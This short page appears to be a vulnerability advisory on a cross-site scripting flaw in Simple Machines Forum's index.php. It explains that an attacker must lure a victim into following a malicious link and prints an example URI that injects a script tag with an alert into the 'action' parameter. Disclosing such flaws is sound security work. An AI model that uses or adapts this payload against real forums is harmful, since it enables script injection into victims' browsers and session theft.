• info
• discussion
• exploit
• solution
• references

Simple Machines Forum Index.PHP Cross-Site Scripting Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.

An example URI has been provided:

http://www.example.com/index.php?action=login2"><script>alert('xss-by-b0rizQ')</script>